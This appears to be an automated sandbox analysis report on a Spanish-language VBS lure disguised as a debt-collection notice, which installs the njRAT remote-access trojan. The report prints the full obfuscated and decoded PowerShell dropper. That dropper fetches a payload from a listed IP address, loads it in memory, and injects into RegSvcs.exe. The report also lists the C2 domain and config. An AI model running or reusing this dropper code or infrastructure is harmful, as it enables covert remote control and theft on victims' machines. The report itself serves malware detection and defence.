Analysis

  • max time kernel
    146s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/08/2022, 14:55

General

  • Target

    Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs

  • Size

    205KB

  • MD5

    173a182f65910267fa0e8590dd0cfc0e

  • SHA1

    3b8bf6b2f4ad725511fca0e0198b4499c75fe86c

  • SHA256

    49bb9b1be17a3b590a8cb4245e1a3f07fb13648676ff7e0240f3030678c503d6

  • SHA512

    44d5a9a9d2166253c2af4b8820f323d29a2cd7042a3408440bd86b8422d25a28006891ca9f690d756271e85d09965047c2eebcbd18b5af8a378ff0785924900d

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ARTS/dllf3txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

wibnj.duckdns.org:57831

Mutex

549d524552

Attributes
  • reg_key

    549d524552

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBBAFIAVABTAC8AZABsAGwAZgAzAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH⌚⌚⌚ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAxAFgAWgAvAHcAZQBuAC8AdABzAG⌚⌚⌚AdAAvADkANAAuADkAMQAuADEANAAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACYAJQAkAD⌚⌚⌚AdABCAFQARABZACgAKQBSADAAJQAkACMAIgBIAEYASgBmAGIAJwAgACkAKQA=';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ARTS/dllf3txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.1XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , '&%$5tBTDY()R0%$#"HFJfb' ))"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4724
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4416

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          f41839a3fe2888c8b3050197bc9a0a05

          SHA1

          0798941aaf7a53a11ea9ed589752890aee069729

          SHA256

          224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

          SHA512

          2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          a6c9d692ed2826ecb12c09356e69cc09

          SHA1

          def728a6138cf083d8a7c61337f3c9dade41a37f

          SHA256

          a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

          SHA512

          2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

        • memory/956-131-0x000001B9B0C10000-0x000001B9B0C32000-memory.dmp

          Filesize

          136KB

        • memory/956-133-0x00007FF813180000-0x00007FF813C41000-memory.dmp

          Filesize

          10.8MB

        • memory/956-140-0x00007FF813180000-0x00007FF813C41000-memory.dmp

          Filesize

          10.8MB

        • memory/4416-142-0x0000000005F40000-0x00000000064E4000-memory.dmp

          Filesize

          5.6MB

        • memory/4416-135-0x0000000000400000-0x000000000040C000-memory.dmp

          Filesize

          48KB

        • memory/4416-141-0x00000000058B0000-0x000000000594C000-memory.dmp

          Filesize

          624KB

        • memory/4416-143-0x0000000005A70000-0x0000000005B02000-memory.dmp

          Filesize

          584KB

        • memory/4416-144-0x00000000059F0000-0x00000000059FA000-memory.dmp

          Filesize

          40KB

        • memory/4416-145-0x0000000005B10000-0x0000000005B76000-memory.dmp

          Filesize

          408KB

        • memory/4724-137-0x00007FF813180000-0x00007FF813C41000-memory.dmp

          Filesize

          10.8MB

        • memory/4724-134-0x00007FF813180000-0x00007FF813C41000-memory.dmp

          Filesize

          10.8MB